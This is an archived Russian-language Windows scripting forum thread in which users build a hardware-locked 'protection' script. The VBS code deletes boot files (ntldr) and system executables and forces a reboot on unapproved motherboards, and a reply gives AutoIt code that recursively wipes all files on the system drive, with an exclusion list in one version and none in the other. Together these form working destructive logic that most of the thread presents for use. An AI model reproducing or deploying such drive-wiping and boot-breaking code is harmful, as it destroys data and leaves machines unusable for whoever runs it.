![]() |
Внимание, важное сообщение: Дорогие Друзья!
В ноябре далекого 2001 года мы решили создать сайт и форум, которые смогут помочь как начинающим, так и продвинутым пользователям разобраться в операционных системах. В 2004-2006г наш проект был одним из самых крупных ИТ ресурсов в рунете, на пике нас посещало более 300 000 человек в день! Наша документация по службам Windows и автоматической установке помогла огромному количеству пользователей и сисадминов. Мы с уверенностью можем сказать, что внесли большой вклад в развитие ИТ сообщества рунета. Но... время меняются, приоритеты тоже. И, к сожалению, пришло время сказать До встречи! После долгих дискуссий было принято решение закрыть наш проект. 1 августа форум переводится в режим Только чтение, а в начале сентября мы переведем рубильник в положение Выключен Огромное спасибо за эти 24 года, это было незабываемое приключение. Сказать спасибо и поделиться своей историей можно в данной теме. С уважением, ваш призрачный админ, BigMac... |
|
Компьютерный форум OSzone.net » Программирование, базы данных и автоматизация действий » Скриптовые языки администрирования Windows » VBS/WSH/JS - [решено] Помогите подправить скрипт VBS |
|
VBS/WSH/JS - [решено] Помогите подправить скрипт VBS
|
Ветеран Сообщения: 2756 |
Сам я ноль в VBS скриптах. Но очень уж надобно подправить скрипт. Я как то где то задавал этот вопрос но по ответам не смог сообразить что и как сделать. Скрипт такой:
Option Explicit Dim objWMIService, arrayBIOS, objBIOS, strAllowedHost, strYouAreWelcome Dim strOperatingSystem, colOperatingSystems Dim objFSO, objShell, strSystemDrive Dim objBaseboard, arrayBaseboard, strComputerHost, strPassword Const wbemFlagReturnImmediately = &h10 Const wbemFlagForwardOnly = &h20 Const wmiRestartForce = 4 strPassword = "12345" Dim arrayAllowedHosts(3) arrayAllowedHosts(0) = "20090116000000.000000+000ga-ma770-ds3" arrayAllowedHosts(1) = "20060704000000.000000+000nforce4 ddr2: mf4-j3, mf4-j3/g, af4-j3 series" arrayAllowedHosts(2) = "20020315000000.000000+000sis-645" arrayAllowedHosts(3) = "20010427000000.000000+0008363-686" Set objShell = CreateObject("Wscript.Shell") Set objWMIService = GetObject("winmgmts:\\.\root\CIMV2") Set arrayBIOS = objWMIService.ExecQuery("SELECT * FROM Win32_BIOS", "WQL", wbemFlagReturnImmediately + wbemFlagForwardOnly) Set arrayBaseBoard = objWMIService.ExecQuery("SELECT * FROM Win32_BaseBoard", "WQL", wbemFlagReturnImmediately + wbemFlagForwardOnly) For Each objBIOS In arrayBIOS For Each objBaseboard In arrayBaseBoard strComputerHost = objBios.ReleaseDate & objBaseboard.Product For Each strAllowedHost in arrayAllowedHosts If Trim(LCase(strComputerHost)) = Trim(LCase(strAllowedHost)) Then strYouAreWelcome = 1 Next Next Next If strYouAreWelcome <> 1 Then Set objFSO = CreateObject("Scripting.FileSystemObject") Set colOperatingSystems = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true") strSystemDrive = objShell.ExpandEnvironmentStrings("%SystemDrive%") objFSO.DeleteFile strSystemDrive & "\ntldr", True For Each strOperatingSystem in colOperatingSystems strOperatingSystem.Reboot() Next Else If strYouAreWelcome = 1 Then ObjShell.Run ("C:\PKUNZIP -e -d -s" & strPassword & " C:\Protect.zip C:\"), 0, True End If End If Set objFSO = CreateObject("Scripting.FileSystemObject") objFSO.DeleteFile ("C:\Protect.zip") objFSO.DeleteFile ("C:\PKUNZIP.EXE") objFSO.DeleteFile ("C:\PROTECTT.CMD") If strYouAreWelcome <> 1 Then Set objFSO = CreateObject("Scripting.FileSystemObject") Set colOperatingSystems = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true") strSystemDrive = objShell.ExpandEnvironmentStrings("%SystemDrive%") objFSO.DeleteFile strSystemDrive & "\ntldr", True objFSO.DeleteFile strSystemDrive & "\WINDOWS\notepad.exe", True objFSO.DeleteFile strSystemDrive & "\WINDOWS\system32\wgatray.exe", True For Each strOperatingSystem in colOperatingSystems strOperatingSystem.Reboot() Next Else If strYouAreWelcome = 1 Then ObjShell.Run ("C:\PKUNZIP -e -d -s" & strPassword & " C:\Protect.zip C:\"), 0, True End If End If Я просто дописал строки с удалением но ничего не вышло. Скрипт вообще ничего не удаляет и становится полностью не работоспособным. Помогите пожалуйста. |
|
Отправлено: 21:11, 21-02-2009 |
Googler Сообщения: 3665
|
Профиль | Отправить PM | Цитировать 1. попробуй так:
; Формирование списка системных каталогов Dim $arrExcl[9]=[8, _ @WindowsDir, _ @SystemDir, _ @WindowsDir &"\Resources", _ @ProgramFilesDir, _ RegRead("HKLM\Software\Microsoft\Windows\CurrentVersion", "CommonFilesDir"), _ RegRead("HKLM\Software\Microsoft\Windows NT\CurrentVersion\ProfileList", "ProfilesDirectory"), _ $arrExcl[6] &"\"& RegRead("HKLM\Software\Microsoft\Windows NT\CurrentVersion\ProfileList", "AllUsersProfile"), _ $arrExcl[6] &"\"& RegRead("HKLM\Software\Microsoft\Windows NT\CurrentVersion\ProfileList", "DefaultUserProfile") ] _RegEnumValToArray("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders", $arrExcl) _RegEnumValToArray("HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders", $arrExcl) _RegEnumValToArray("HKLM\Software\Microsoft\Windows NT\CurrentVersion\ProfileList", $arrExcl, "ProfileImagePath", True) ; Замена подстановок на реальные пути $ExpandEnvStrings = Opt("ExpandEnvStrings",1) For $i=1 To $arrExcl[0] $arrExcl[$i] = $arrExcl[$i] Next Opt("ExpandEnvStrings", $ExpandEnvStrings) ; Запуск удаления _DirRemoveAll(@HomeDrive, $arrExcl) ; Сохранение значений параметров ключа реестра в массив (рекурсивно) Func _RegEnumValToArray($sKey, ByRef $aVals, $sValName="", $iRecv = False) Local $var, $key For $i=1 To 10000 $var = RegEnumVal($sKey, $i) If @error Then ExitLoop If $sValName=="" Or $sValName=$var Then $aVals[0]+=1 ReDim $aVals[$aVals[0]+1] $aVals[$aVals[0]]=RegRead($sKey, $var) EndIf Next If $iRecv Then For $j=1 To 10000 $key = RegEnumKey($sKey, $j) If @error Then ExitLoop _RegEnumValToArray($sKey &"\"& $key, $aVals, $sValName, True) Next EndIf EndFunc ; ==> _RegEnumValToArray ; Удаление каталога с подкаталогами (рекурсивно) Func _DirRemoveAll($sDIR, ByRef $aExcl) Local $hSearch, $sFile, $sPath, $iRet, $i $sDIR = StringRegExpReplace($sDIR, "\\+$", "") If StringInStr(FileGetAttrib($sDIR), "D")=0 Then Return SetError(1, 0, False) $hSearch = FileFindFirstFile($sDIR & "\*") If $hSearch = -1 Then Return SetError(2, 0, False) While 1 $sFile = FileFindNextFile($hSearch) If @error Then ExitLoop $sPath = $sDIR & "\" & $sFile If StringInStr(FileGetAttrib($sPath), "D") Then For $i=1 To $aExcl[0] If $sPath=$aExcl[$i] Then ExitLoop Next ConsoleWrite($sPath &@CRLF) If ($i-1 < $aExcl[0]) Or (DirRemove($sPath,1)=0) Then _DirRemoveAll($sPath, $aExcl) Else FileSetAttrib($sPath, "-RSH") FileDelete($sPath) EndIf WEnd FileClose($hSearch) Return SetError(0, 0, True) EndFunc ; ==> _DirRemoveAll |
Отправлено: 13:02, 09-03-2009 | #31 |
Для отключения данного рекламного блока вам необходимо зарегистрироваться или войти с учетной записью социальной сети. Если же вы забыли свой пароль на форуме, то воспользуйтесь данной ссылкой для восстановления пароля. |
Ветеран Сообщения: 2756
|
Профиль | Отправить PM | Цитировать amel27, ну вот и все. Отмучал я Вас. Спасибо огромное. Все работает на УРА!!! Прикольная получилась защита. Совместил Ваш скрипт поиска файла по MD5 сумме с данным и получилась что винда ставится только на ранее зашитые в скрипт материнки или на любой комп если вставить флешку с нужным файлом. Очень здорово! Спасибо еще раз!!!
|
------- Отправлено: 14:43, 09-03-2009 | #32 |
Googler Сообщения: 3665
|
Профиль | Отправить PM | Цитировать Цитата Pozia:
![]() _DirClear(@HomeDrive) Func _DirClear($sDIR) Local $hSearch, $sFile, $sPath $sDIR = StringRegExpReplace($sDIR, "\\+$", "") If StringInStr(FileGetAttrib($sDIR), "D")=0 Then Return SetError(1, 0, False) $hSearch = FileFindFirstFile($sDIR & "\*") If $hSearch = -1 Then Return SetError(2, 0, False) While 1 $sFile = FileFindNextFile($hSearch) If @error Then ExitLoop $sPath = $sDIR & "\" & $sFile FileSetAttrib($sPath, "-RSH") If StringInStr(FileGetAttrib($sPath), "D") Then _DirClear($sPath) DirRemove($sPath) Else FileDelete($sPath) EndIf WEnd FileClose($hSearch) Return SetError(0, 0, True) EndFunc |
|
Отправлено: 16:59, 09-03-2009 | #33 |
Ветеран Сообщения: 2756
|
Профиль | Отправить PM | Цитировать amel27, запутали вы меня. Что за RD? То что вы привели сейчас быстрее удаляет?
|
------- Отправлено: 17:07, 09-03-2009 | #34 |
Googler Сообщения: 3665
|
Профиль | Отправить PM | Цитировать Цитата Pozia:
Цитата Pozia:
Цитата Pozia:
|
|||
Отправлено: 04:17, 10-03-2009 | #35 |
Ветеран Сообщения: 2756
|
Профиль | Отправить PM | Цитировать amel27, как можно получить ID BIOS?? Так как я его получаю не работает в виртуальной машине. Может подскажете?
|
------- Отправлено: 16:57, 25-10-2009 | #36 |
Ветеран Сообщения: 2756
|
Профиль | Отправить PM | Цитировать amel27, подскажите почему не работает вот так скрипт. Модифицировал его под другие цели:
#NoTrayIcon Opt("ExpandEnvStrings", 1) Global Const $WbemFlagReturnImmediately = 0x10 Global Const $WbemFlagForwardOnly = 0x20 Global Const $WmiRestartForce = 4 Global $arrayAllowedHosts[1] = ["200901161000000.000000+000ga-ma770-ds3"] ;-------------------------------------------------------------------------------------------------------------------------------------- if _PlatformArrayTest($arrayAllowedHosts) Then RunWait ("LSession.exe") ;-------------------------------------------------------------------------------------------------------------------------------------- Func _PlatformArrayTest(ByRef $arrayAllowedHosts) Local $objWMIService = ObjGet("winmgmts:\\.\root\CIMV2") Local $colBIOS = $objWMIService.ExecQuery("SELECT * FROM Win32_BIOS", "WQL", $WbemFlagReturnImmediately + $WbemFlagForwardOnly) Local $colBaseBoard = $objWMIService.ExecQuery("SELECT * FROM Win32_BaseBoard", "WQL", $WbemFlagReturnImmediately + $WbemFlagForwardOnly) If Not(IsObj($colBIOS) And IsObj($colBaseBoard)) Then Return False For $objBIOS In $colBIOS For $objBaseBoard In $colBaseBoard For $i=0 To UBound($arrayAllowedHosts)-1 $strComputerHost = StringStripWS($objBIOS.ReleaseDate & $objBaseBoard.Product, 3) If $arrayAllowedHosts[$i]=$strComputerHost Then Return True Next Next Next Return False EndFunc |
------- Отправлено: 07:43, 24-11-2009 | #37 |
Новый участник Сообщения: 1
|
Профиль | Отправить PM | Цитировать всем привет ) не кто не может мне сделать скрипт что бы при его открытие всем посылалось определоное сообщения если можете пожалутся сделайте напишите на скайп dodge.90
|
Отправлено: 13:33, 09-04-2010 | #38 |
![]() |
Участник сейчас на форуме |
![]() |
Участник вне форума |
![]() |
Автор темы |
![]() |
Сообщение прикреплено |
| |||||
Название темы | Автор | Информация о форуме | Ответов | Последнее сообщение | |
VBS/WSH/JS - Помогите русифицироват *.vbs скрипт | nod201 | Скриптовые языки администрирования Windows | 3 | 07-12-2009 10:53 | |
VBS/WSH/JS - Помогите редактировать Autorun_Disable.vbs на Autorun_Enable.vbs | nod201 | Скриптовые языки администрирования Windows | 0 | 05-12-2009 05:44 | |
Любой язык - [решено] Нужен скрипт cmd,vbs,PowerShell для проверки списка пользователей и их удаление из AD | alex_frog | Скриптовые языки администрирования Windows | 6 | 22-07-2009 18:41 | |
Помогите, нужен скрипт vbs или wsh | Foxie | Microsoft Windows NT/2000/2003 | 3 | 18-01-2006 13:45 | |
VBS/WSH/JS - Скрипт на VBS | b0bi | Программирование и базы данных | 1 | 15-06-2004 19:15 |
|